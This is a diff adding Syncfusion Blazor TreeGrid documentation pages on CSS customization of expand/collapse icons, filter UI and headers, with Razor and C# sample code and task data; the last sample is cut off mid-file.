+{% highlight c# tabtitle="TreeData.cs" %}
+
+namespace TreeGridComponent.Data
+{
+    public class TreeData
+    {
+        public class BusinessObject
+        {
+            public int TaskId { get; set; }
+            public string TaskName { get; set; }
+            public int? Duration { get; set; }
+            public int? Progress { get; set; }
+            public string Priority { get; set; }
+            public int? ParentId { get; set; }
+        }
+
+        internal static List<BusinessObject> GetSelfDataSource()
+        {
+            List<BusinessObject> BusinessObjectCollection = new List<BusinessObject>();
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, Priority = "Critical", ParentId = null });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 8, Progress = 80, Priority = "Low", ParentId = 1 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, Priority = "Critical", ParentId = 2 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 4, TaskName = "Child task 3", Duration = 6, Progress = 77, Priority = "High", ParentId = 3 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 5, TaskName = "Parent Task 2", Duration = 10, Progress = 70, Priority = "Critical", ParentId = null });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 6, TaskName = "Child task 1", Duration = 4, Progress = 80, Priority = "Critical", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 7, TaskName = "Child Task 2", Duration = 5, Progress = 65, Priority = "Low", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 8, TaskName = "Child task 3", Duration = 6, Progress = 77, Priority = "High", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 9, TaskName = "Child task 4", Duration = 6, Progress = 77, Priority = "Low", ParentId = 5 });
+            return BusinessObjectCollection;
+        }
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZrnjJrTBZixrfzY?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" %}
diff --git a/blazor/treegrid/style-and-appearance/expand-collapse.md b/blazor/treegrid/style-and-appearance/expand-collapse.md
new file mode 100644
index 0000000000..e31d1dbe9f
--- /dev/null
+++ b/blazor/treegrid/style-and-appearance/expand-collapse.md
@@ -0,0 +1,142 @@
+---
+layout: post
+title: Expand and collapse icon styling in Blazor TreeGrid | Syncfusion
+description: Learn how to customize the expand and collapse icons in the Syncfusion Blazor TreeGrid using CSS, including changing icon appearance, colors, and sizes.
+platform: Blazor
+control: TreeGrid
+documentation: ug
+---
+
+# Expand and collapse icon customization in Syncfusion Blazor TreeGrid
+
+The appearance of expand and collapse icons in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid can be customized using CSS. Styling options are available for different aspects of the expand/collapse interface:
+
+- **Expand/collapse icon element:** The icon used to indicate expand or collapse state.
+- **Icon size and color:** Properties to modify icon dimensions and visual appearance.
+
+## Customize the expand/collapse icon element
+
+The **.e-icons** class combined with **.e-treegridexpand** or **.e-treegridcollapse** class styles the expand and collapse icons in the Blazor TreeGrid. Apply CSS to customize the icon appearance:
+
+```css
+.e-treegrid .e-icons.e-treegridexpand::before,
+.e-treegrid .e-icons.e-treegridcollapse::before {
+    color: #1ea8bd;
+    font-size: 18px;
+}
+```
+
+Properties such as **color**, **font-size**, **width**, and **height** can be adjusted to match the TreeGrid design. Ensure that custom icons remain clearly visible and maintain adequate contrast for accessibility.
+
+![TreeGrid expand/collapse icon](../images/style-and-appearance/expand-collapse-icon.webp)
+
+## Change the expand and collapse icon
+
+The expand and collapse icons can be customized by changing the icon glyph using the `::before` pseudo-element content property:
+
+```css
+.e-treegrid .e-icons.e-treegridexpand::before {
+    content: '\e7c9';
+}
+
+.e-treegrid .e-icons.e-treegridcollapse::before {
+    content: '\e80f';
+}
+```
+
+Modify the `content` value to use different glyphs from the icon font. Confirm that the appropriate icon font family is available so glyphs render correctly. Refer to the [Syncfusion icons](https://blazor.syncfusion.com/documentation/appearance/icons) documentation to choose glyphs for your theme.
+
+![TreeGrid custom expand icons](../images/style-and-appearance/expand-custom-icon.webp)
+
+![TreeGrid custom collapse icons](../images/style-and-appearance/collapse-custom-icon.webp)
+
+## Customize the expand/collapse icon on hover
+
+Apply hover styles to expand/collapse icons for better user interaction:
+
+```css
+.e-treegrid .e-icons.e-treegridexpand:hover::before,
+.e-treegrid .e-icons.e-treegridcollapse:hover::before {
+    color: #ff6b6b;
+    font-weight: bold;
+}
+```
+
+This allows users to see visual feedback when interacting with expand/collapse controls.
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeGrid;
+
+<SfTreeGrid DataSource="@TreeGridData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1" Toolbar="@(new List<string>() { "Add", "Edit", "Delete", "Update", "Cancel" })">
+    <TreeGridEditSettings AllowAdding="true" AllowEditing="true" AllowDeleting="true"  Mode="Syncfusion.Blazor.TreeGrid.EditMode.Row"></TreeGridEditSettings>
+    <TreeGridColumns>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.TaskId) HeaderText="Task ID" IsPrimaryKey="true" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right" Width="140"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.TaskName) HeaderText="Task Name" Width="120"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.Duration) HeaderText="Duration" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right" Width="120"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.Priority) HeaderText="Priority" Width="130"></TreeGridColumn>
+    </TreeGridColumns>
+</SfTreeGrid>
+
+<style>
+    .e-treegrid .e-icons.e-treegridexpand::before,
+    .e-treegrid .e-icons.e-treegridcollapse::before {
+        color: #1ea8bd;
+        font-size: 18px;
+    }
+    
+    .e-treegrid .e-icons.e-treegridexpand::before {
+        content: '\e7c9';
+    }
+
+    .e-treegrid .e-icons.e-treegridcollapse::before {
+        content: '\e80f';
+    }
+    
+    .e-treegrid .e-icons.e-treegridexpand:hover::before,
+    .e-treegrid .e-icons.e-treegridcollapse:hover::before {
+        color: #ff6b6b;
+    }
+</style>
+
+@code {
+    private List<TreeData.BusinessObject> TreeGridData { get; set; }
+    protected override void OnInitialized()
+    {
+        TreeGridData = TreeData.GetSelfDataSource().ToList();
+    }
+    public class TreeData
+    {
+        public class BusinessObject
+        {
+            public int TaskId { get; set; }
+            public string TaskName { get; set; }
+            public int? Duration { get; set; }
+            public int? Progress { get; set; }
+            public string Priority { get; set; }
+            public int? ParentId { get; set; }
+        }
+
+        internal static List<BusinessObject> GetSelfDataSource()
+        {
+            List<BusinessObject> BusinessObjectCollection = new List<BusinessObject>();
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, Priority = "Critical", ParentId = null });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 8, Progress = 80, Priority = "Low", ParentId = 1 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, Priority = "Critical", ParentId = 2 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 4, TaskName = "Child task 3", Duration = 6, Progress = 77, Priority = "High", ParentId = 3 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 5, TaskName = "Parent Task 2", Duration = 10, Progress = 70, Priority = "Critical", ParentId = null });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 6, TaskName = "Child task 1", Duration = 4, Progress = 80, Priority = "Critical", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 7, TaskName = "Child Task 2", Duration = 5, Progress = 65, Priority = "Low", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 8, TaskName = "Child task 3", Duration = 6, Progress = 77, Priority = "High", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 9, TaskName = "Child task 4", Duration = 6, Progress = 77, Priority = "Low", ParentId = 5 });
+            return BusinessObjectCollection;
+        }
+    }
+}
+
+{% endhighlight %}
+
+{% endtabs %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDVnDzAtBLxPJJYP?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" %}
diff --git a/blazor/treegrid/style-and-appearance/filtering.md b/blazor/treegrid/style-and-appearance/filtering.md
new file mode 100644
index 0000000000..9833b9c1c5
--- /dev/null
+++ b/blazor/treegrid/style-and-appearance/filtering.md
@@ -0,0 +1,350 @@
+---
+layout: post
+title: Customize filtering in Blazor TreeGrid | Syncfusion
+description: Learn how to style and customize the Syncfusion Blazor TreeGrid filter UI using CSS—filter bar, dialog, icons, buttons, and menus.
+platform: Blazor
+control: TreeGrid
+documentation: ug
+---
+
+# Filtering customization in Syncfusion Blazor TreeGrid
+
+The appearance of filtering elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid can be customized using CSS. Styling options are available for different parts of the filtering interface:
+
+- **Filter bar cell and input elements:** Used to enter filter values directly in the header row.
+- **Input focus styles:** Visual highlight applied when the filter input field is focused.
+- **Clear and filter icons:** Icons for clearing filter values and indicating active filters in column headers.
+- **Filter dialog content and footer:** Sections of the filter popup used for entering filter criteria and confirming actions.
+- **Input fields and buttons within the filter dialog:** Controls used to specify filter values and apply or cancel filtering.
+- **Excel-style number filter visuals:** Menu-style interface for selecting numeric filter conditions in Excel-like filtering mode.
+
+## Customize the filter bar cell element
+
+The **.e-filterbarcell** class styles the filter bar cells in the header row. Use CSS to adjust its appearance:
+
+```css
+.e-treegrid .e-filterbarcell {
+    background-color: #045fb4;
+}
+```
+
+Properties like **background-color**, **padding**, and **border** can be changed to visually distinguish the filter row from header cells.
+
+![Filter bar cell with custom background](../images/style-and-appearance/filter-bar-cell-element.webp)
+
+## Customize the filter bar input element
+
+The **.e-input** class inside **.e-filterbarcell** styles the input field in the filter bar. Apply CSS to modify its look:
+
+```css
+.e-treegrid .e-filterbarcell .e-input-group input.e-input {
+    font-family: cursive;
+}
+```
+
+Adjust properties such as **font-family**, **font-size**, and **border** can be adjusted to improve readability and match the TreeGrid design.
+
+![Filter bar input with custom font](../images/style-and-appearance/filter-bar-input-element.webp)
+
+## Customize the input focus
+
+The **.e-input-focus** class styles the filter bar input group when focused. Apply CSS to change its appearance:
+
+```css
+.e-treegrid .e-filterbarcell .e-input-group.e-input-focus {
+    background-color: #deecf9;
+}
+```
+
+Change properties like **background-color** and **border** to enhance focus visibility and support keyboard navigation.
+
+![Filter bar input focus](../images/style-and-appearance/filter-bar-input-element-focus.webp)
+
+## Customize the filter bar input clear icon
+
+The **.e-clear-icon::before** class defines the clear icon in the filter bar input. Apply CSS to change its appearance:
+
+```css
+.e-treegrid .e-filterbarcell .e-input-group .e-clear-icon::before {
+    content: '\e72c';
+}
+```
+
+The `content` property can be updated to use a different glyph from the icon set.
+
+![Filter bar input with customized clear icon](../images/style-and-appearance/filter-bar-input-clear-icon.webp)
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeGrid
+
+<SfTreeGrid DataSource="@TreeGridData"
+        IdMapping="TaskId"
+        ParentIdMapping="ParentId"
+        TreeColumnIndex="1"
+        AllowFiltering="true"
+        AllowPaging="true">
+    <TreeGridPageSettings PageSize="8"></TreeGridPageSettings>
+    <TreeGridColumns>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.TaskId) HeaderText="Task ID" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right" Width="140"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.TaskName) HeaderText="Task Name" Width="120"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.Duration) HeaderText="Duration" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right" Width="120"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.Progress) HeaderText="Progress" Width="100"></TreeGridColumn>
+    </TreeGridColumns>
+</SfTreeGrid>
+
+<style>
+    .e-treegrid .e-filterbarcell {
+        background-color: #045fb4;
+        color: #ffffff;
+    }
+
+    .e-treegrid .e-filterbarcell .e-input-group input.e-input {
+        font-family: cursive;
+    }
+
+    .e-treegrid .e-filterbarcell .e-input-group.e-input-focus {
+        background-color: #deecf9;
+    }
+
+    .e-treegrid .e-filterbarcell .e-input-group .e-clear-icon::before {
+        font-family: 'e-icons' !important;
+        font-weight: normal;
+        content: '\e72c';
+    }
+
+    /* Optional: highlight the focused filter cell for keyboard users */
+    .e-treegrid .e-filterbarcell:focus-visible {
+        outline: 2px solid #005a9e;
+        outline-offset: -2px;
+    }
+</style>
+
+@code {
+    private List<TreeData.BusinessObject> TreeGridData { get; set; }
+
+    protected override void OnInitialized()
+    {
+        TreeGridData = TreeData.GetSelfDataSource().ToList();
+    }
+}
+
+{% endhighlight %}
+
+{% highlight c# tabtitle="TreeData.cs" %}
+
+namespace TreeGridComponent.Data
+{
+    public class TreeData
+    {
+        public class BusinessObject
+        {
+            public int TaskId { get; set; }
+            public string TaskName { get; set; }
+            public int? Duration { get; set; }
+            public int? Progress { get; set; }
+            public string Priority { get; set; }
+            public int? ParentId { get; set; }
+        }
+
+        internal static List<BusinessObject> GetSelfDataSource()
+        {
+            List<BusinessObject> BusinessObjectCollection = new List<BusinessObject>();
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, Priority = "Critical", ParentId = null });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 8, Progress = 80, Priority = "Low", ParentId = 1 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, Priority = "Critical", ParentId = 2 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 4, TaskName = "Child task 3", Duration = 6, Progress = 77, Priority = "High", ParentId = 3 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 5, TaskName = "Parent Task 2", Duration = 10, Progress = 70, Priority = "Critical", ParentId = null });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 6, TaskName = "Child task 1", Duration = 4, Progress = 80, Priority = "Critical", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 7, TaskName = "Child Task 2", Duration = 5, Progress = 65, Priority = "Low", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 8, TaskName = "Child task 3", Duration = 6, Progress = 77, Priority = "High", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 9, TaskName = "Child task 4", Duration = 6, Progress = 77, Priority = "Low", ParentId = 5 });
+            return BusinessObjectCollection;
+        }
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BtrnDzrfVMyBtkVY?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" %}
+
+## Customize the filtering icon in the header
+
+The **.e-icon-filter::before** class styles the filter icon in column headers. Apply CSS to modify its look:
+
+```css
+.e-treegrid .e-icon-filter::before {
+    content: '\e81e';
+}
+```
+
+Update the `content` value to match the desired icon glyph.
+
+![Header filter icon](../images/style-and-appearance/grid-filtering-icon.webp)
+
+## Customize the filter dialog content
+
+The **.e-filter-popup .e-dlg-content** class styles the content area of the filter dialog. Apply CSS to change its appearance:
+
+```css
+.e-treegrid .e-filter-popup .e-dlg-content {
+    background-color: #deecf9;
+}
+```
+
+Modify properties such as **background-color**, **padding**, and **border** to match the application theme.
+
+![Filter dialog content](../images/style-and-appearance/filter-dialog-content.webp)
+
+## Customize the filter dialog footer
+
+The **.e-filter-popup .e-footer-content** class styles the footer section of the filter dialog. Apply CSS to adjust its appearance:
+
+```css
+.e-treegrid .e-filter-popup .e-footer-content {
+    background-color: #deecf9;
+}
+```
+
+Properties like **background-color**, **text-align**, and **border** can be changed to align with the layout design.
+
+![Filter dialog footer](../images/style-and-appearance/filter-dialog-footer.webp)
+
+## Customize the filter dialog input field
+
+The **.e-input** class inside **.e-filter-popup** targets input fields in the filter dialog. Use CSS to adjust its appearance:
+
+```css
+.e-treegrid .e-filter-popup .e-input-group input.e-input {
+    font-family: cursive;
+}
+```
+
+Adjust properties such as **font-family**, **color**, and **border** to improve clarity and consistency.
+
+![Filter dialog input](../images/style-and-appearance/filter-dialog-input-element.webp)
+
+## Customize the filter dialog button element
+
+The **.e-filter-popup .e-btn** class styles buttons inside the filter dialog. Apply CSS to modify their appearance:
+
+```css
+.e-treegrid .e-filter-popup .e-btn {
+    font-family: cursive;
+}
+```
+
+Change properties like **font-family**, **background-color**, and **border** to match the design.
+
+![Filter dialog buttons](../images/style-and-appearance/filter-dialog-button-element.webp)
+
+## Customize the Excel-style filter menu
+
+The **.e-contextmenu-container ul** class inside **.e-filter-popup** styles the filter list in the Excel-style filter dialog. Apply CSS to change its appearance:
+
+```css
+.e-treegrid .e-filter-popup .e-contextmenu-container ul {
+    background-color: #deecf9;
+}
+```
+
+Properties such as **background-color**, **color**, and **text-align** can be adjusted to match the required design.
+
+![Excel-style filter menu](../images/style-and-appearance/excel-filter-dialog-number-filters-element.webp)
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeGrid
+
+<SfTreeGrid DataSource="@TreeGridData"
+        IdMapping="TaskId"
+        ParentIdMapping="ParentId"
+        TreeColumnIndex="1"
+        AllowFiltering="true"
+        AllowPaging="true">
+    <TreeGridPageSettings PageSize="8"></TreeGridPageSettings>
+    <TreeGridFilterSettings Type="FilterType.Menu"></TreeGridFilterSettings>
+    <TreeGridColumns>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.TaskId) HeaderText="Task ID" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right" Width="140"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.TaskName) HeaderText="Task Name" Width="120"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.Duration) HeaderText="Duration" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right" Width="120"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.Progress) HeaderText="Progress" Width="100"></TreeGridColumn>
+    </TreeGridColumns>
+</SfTreeGrid>
+
+<style>
+    .e-treegrid .e-icon-filter::before {
+        font-family: 'e-icons' !important;
+        font-weight: normal;
+        content: '\e81e';
+    }
+
+    .e-treegrid .e-filter-popup .e-dlg-content,
+    .e-treegrid .e-filter-popup .e-footer-content,
+    .e-treegrid .e-filter-popup .e-contextmenu-container ul {
+        background-color: #deecf9;
+    }
+
+    .e-treegrid .e-filter-popup .e-input-group input.e-input,
+    .e-treegrid .e-filter-popup .e-btn {
+        font-family: cursive;
+    }
+
+    /* Optional: focus outline inside the filter dialog for keyboard users */
+    .e-treegrid .e-filter-popup .e-input-group input.e-input:focus-visible,
+    .e-treegrid .e-filter-popup .e-btn:focus-visible {
+        outline: 2px solid #005a9e;
+        outline-offset: 2px;
+    }
+</style>
+
+@code {
+    private List<TreeData.BusinessObject> TreeGridData { get; set; }
+
+    protected override void OnInitialized()
+    {
+        TreeGridData = TreeData.GetSelfDataSource().ToList();
+    }
+}
+
+{% endhighlight %}
+{% highlight c# tabtitle="TreeData.cs" %}
+
+namespace TreeGridComponent.Data
+{
+    public class TreeData
+    {
+        public class BusinessObject
+        {
+            public int TaskId { get; set; }
+            public string TaskName { get; set; }
+            public int? Duration { get; set; }
+            public int? Progress { get; set; }
+            public string Priority { get; set; }
+            public int? ParentId { get; set; }
+        }
+
+        internal static List<BusinessObject> GetSelfDataSource()
+        {
+            List<BusinessObject> BusinessObjectCollection = new List<BusinessObject>();
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, Priority = "Critical", ParentId = null });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 8, Progress = 80, Priority = "Low", ParentId = 1 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, Priority = "Critical", ParentId = 2 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 4, TaskName = "Child task 3", Duration = 6, Progress = 77, Priority = "High", ParentId = 3 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 5, TaskName = "Parent Task 2", Duration = 10, Progress = 70, Priority = "Critical", ParentId = null });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 6, TaskName = "Child task 1", Duration = 4, Progress = 80, Priority = "Critical", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 7, TaskName = "Child Task 2", Duration = 5, Progress = 65, Priority = "Low", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 8, TaskName = "Child task 3", Duration = 6, Progress = 77, Priority = "High", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 9, TaskName = "Child task 4", Duration = 6, Progress = 77, Priority = "Low", ParentId = 5 });
+            return BusinessObjectCollection;
+        }
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDLntfVJBBQMQeiU?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" %}
\ No newline at end of file
diff --git a/blazor/treegrid/style-and-appearance/header.md b/blazor/treegrid/style-and-appearance/header.md
new file mode 100644
index 0000000000..03e9fcf98d
--- /dev/null
+++ b/blazor/treegrid/style-and-appearance/header.md
@@ -0,0 +1,191 @@
+---
+layout: post
+title: Header styling and visibility in Blazor TreeGrid | Syncfusion
+description: Learn how to style and hide the Syncfusion Blazor TreeGrid header using CSS—customize header bar, cells, text, with CSS isolation tips.
+platform: Blazor
+control: TreeGrid
+documentation: ug
+---
+
+# Header customization in Syncfusion Blazor TreeGrid
+
+The appearance of header elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid can be customized using CSS. Styling options are available for different parts of the header interface:
+
+- **Header container**: The outer wrapper that holds all column headers.
+- **Header cells**: Individual containers for each column title and associated icons.
+- **Header text container**: The inner element that holds the header text content.
+
+## Customize the Blazor TreeGrid header
+
+The **.e-gridheader** class styles the header container in the Blazor TreeGrid. Use CSS to adjust its appearance:
+
+```css
+.e-treegrid .e-gridheader {
+    border: 2px solid green;
+}
+```
+
+Style Properties like  **border**, **padding**, and **background-color** can be changed to fit the TreeGrid layout design.
+
+![TreeGrid header](../images/style-and-appearance/grid-header.webp)
+
+## Customize the Blazor TreeGrid header cell
+
+The **.e-headercell** class styles individual header cells in the Blazor TreeGrid. Apply CSS to modify its look:
+
+```css
+.e-treegrid .e-headercell {
+    color: #ffffff;
+    background-color: #1ea8bd;
+}
+```
+
+Properties such as **color**, **background-color**, **font**, and alignment can be adjusted to align with the TreeGrid design.
+
+![TreeGrid header cell](../images/style-and-appearance/grid-header-cell.webp)
+
+## Customize the Blazor TreeGrid header cell div element
+
+The **.e-headercelldiv** class styles the text container inside each header cell. Apply CSS to change its appearance:
+
+```css
+.e-treegrid .e-headercelldiv {
+    font-size: 15px;
+    font-weight: bold;
+    color: darkblue;
+}
+```
+
+Change properties like **font-size**, **font-weight**, and **color** to highlight the header text and improve clarity.
+
+![Grid header cell div element](../images/style-and-appearance/grid-header-cell-div-element.webp)
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeGrid;
+
+<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1">
+    <TreeGridColumns>
+        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
+        <TreeGridColumn Field="StartDate" HeaderText="Start Date" Format="d" Type="Syncfusion.Blazor.Grids.ColumnType.DateOnly" Width="152" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="StartTime" HeaderText="Start Time" Type="Syncfusion.Blazor.Grids.ColumnType.TimeOnly" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+    </TreeGridColumns>
+</SfTreeGrid>
+<style>
+    .e-grid .e-headercelldiv {
+        font-size: 15px;
+        font-weight: bold;
+        color: darkblue;
+    }
+</style>
+@code {
+    public class BusinessObject
+    {
+        public int TaskId { get; set; }
+        public string TaskName { get; set; }
+        public DateOnly? StartDate { get; set; }
+        public TimeOnly? StartTime { get; set; }
+        public int Duration { get; set; }
+        public int Progress { get; set; }
+        public string Priority { get; set; }
+        public int? ParentId { get; set; }
+    }
+
+    public List<BusinessObject> TreeData = new List<BusinessObject>();
+
+    protected override void OnInitialized()
+    {
+        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", StartDate = new DateOnly(2021, 03, 02), StartTime = new TimeOnly(10, 00, 00), Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
+        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", StartDate = new DateOnly(2021, 03, 04), StartTime = new TimeOnly(11, 30, 00), Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", StartDate = new DateOnly(2021, 03, 06), StartTime = new TimeOnly(12, 00, 00), Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
+        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", StartDate = new DateOnly(2021, 03, 08), StartTime = new TimeOnly(13, 30, 00), Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
+        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", StartDate = new DateOnly(2021, 07, 10), StartTime = new TimeOnly(14, 00, 00), Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", StartDate = new DateOnly(2021, 10, 12), StartTime = new TimeOnly(16, 00, 00), Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
+        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", StartDate = new DateOnly(2021, 10, 14), StartTime = new TimeOnly(17, 30, 00), Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
+        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", StartDate = new DateOnly(2021, 10, 16), StartTime = new TimeOnly(18, 00, 00), Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
+        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", StartDate = new DateOnly(2021, 02, 18), StartTime = new TimeOnly(19, 30, 00), Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjrxjTVrfnMFtzVT?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" %}
+
+## Hide the Blazor TreeGrid header
+
+The **.e-gridheader .e-columnheader** class combination targets the column header row in the Blazor TreeGrid. Use CSS to hide the header:
+
+```css
+.e-treegrid .e-gridheader .e-columnheader {
+    display: none;
+}
+```
+
+To hide the header for a specific TreeGrid only, apply the style using the grid's ID:
+
+```css
+#TreeGrid.e-treegrid .e-gridheader .e-columnheader {
+    display: none;
+}
+```
+
+> Hiding headers also removes visual elements such as sorting arrows, filter icons, and column menu buttons. This may affect accessibility. If headers are hidden, ensure alternative labels are provided using attributes like `aria-label` or `aria-labelledby`.
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeGrid;
+
+<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1">
+    <TreeGridColumns>
+        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
+        <TreeGridColumn Field="StartDate" HeaderText="Start Date" Format="d" Type="Syncfusion.Blazor.Grids.ColumnType.DateOnly" Width="152" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="StartTime" HeaderText="Start Time" Type="Syncfusion.Blazor.Grids.ColumnType.TimeOnly" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
+    </TreeGridColumns>
+</SfTreeGrid>
